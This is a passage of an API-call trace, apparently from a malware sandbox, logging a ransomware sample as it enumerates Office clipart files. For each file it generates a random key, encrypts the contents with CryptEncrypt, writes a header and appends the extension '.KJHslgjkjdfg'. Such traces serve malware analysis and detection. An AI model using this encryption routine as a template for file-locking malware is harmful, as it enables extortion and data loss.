lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.486] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb6de, lpOverlapped=0x0) returned 1 [0195.487] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb6e0) returned 1 [0195.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.488] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb6e0, lpOverlapped=0x0) returned 1 [0195.488] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.488] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.488] SetEndOfFile (hFile=0x130) returned 1 [0195.490] GetProcessHeap () returned 0x2ef0000 [0195.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.490] GetProcessHeap () returned 0x2ef0000 [0195.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.kjhslgjkjdfg")) returned 1 [0195.491] CloseHandle (hObject=0x130) returned 1 [0195.491] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0195.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.492] GetProcessHeap () returned 0x2ef0000 [0195.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.492] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.492] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.492] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.501] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.501] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.501] GetProcessHeap () returned 0x2ef0000 [0195.501] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.501] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.501] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.501] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.502] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.502] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.502] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.502] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.502] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.502] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.502] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17b4, lpOverlapped=0x0) returned 1 [0195.503] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17c0) returned 1 [0195.503] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.504] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17c0, lpOverlapped=0x0) returned 1 [0195.504] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.504] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.504] SetEndOfFile (hFile=0x130) returned 1 [0195.506] GetProcessHeap () returned 0x2ef0000 [0195.506] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.506] GetProcessHeap () returned 0x2ef0000 [0195.506] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.kjhslgjkjdfg")) returned 1 [0195.507] CloseHandle (hObject=0x130) returned 1 [0195.508] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0195.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.510] GetProcessHeap () returned 0x2ef0000 [0195.510] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.510] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.510] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.510] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.512] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.512] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.512] GetProcessHeap () returned 0x2ef0000 [0195.512] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.512] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.512] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.512] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.513] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.513] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.513] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.513] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.513] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.513] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.513] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xfea, lpOverlapped=0x0) returned 1 [0195.513] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0, dwBufLen=0xff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xff0) returned 1 [0195.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.514] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xff0, lpOverlapped=0x0) returned 1 [0195.514] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.514] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.514] SetEndOfFile (hFile=0x130) returned 1 [0195.516] GetProcessHeap () returned 0x2ef0000 [0195.516] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.516] GetProcessHeap () returned 0x2ef0000 [0195.516] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.516] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.kjhslgjkjdfg")) returned 1 [0195.517] CloseHandle (hObject=0x130) returned 1 [0195.517] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0195.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.518] GetProcessHeap () returned 0x2ef0000 [0195.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.518] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.518] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.518] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.519] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.519] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.519] GetProcessHeap () returned 0x2ef0000 [0195.519] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.520] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.520] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.520] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.520] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.520] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.520] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.520] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2168, lpOverlapped=0x0) returned 1 [0195.521] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2170, dwBufLen=0x2170 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2170) returned 1 [0195.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.521] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2170, lpOverlapped=0x0) returned 1 [0195.522] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.522] SetEndOfFile (hFile=0x130) returned 1 [0195.524] GetProcessHeap () returned 0x2ef0000 [0195.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.524] GetProcessHeap () returned 0x2ef0000 [0195.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.525] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.kjhslgjkjdfg")) returned 1 [0195.526] CloseHandle (hObject=0x130) returned 1 [0195.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0195.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.527] GetProcessHeap () returned 0x2ef0000 [0195.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.527] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.527] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.529] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.529] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.529] GetProcessHeap () returned 0x2ef0000 [0195.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.529] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.529] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.529] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.530] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.530] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.530] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 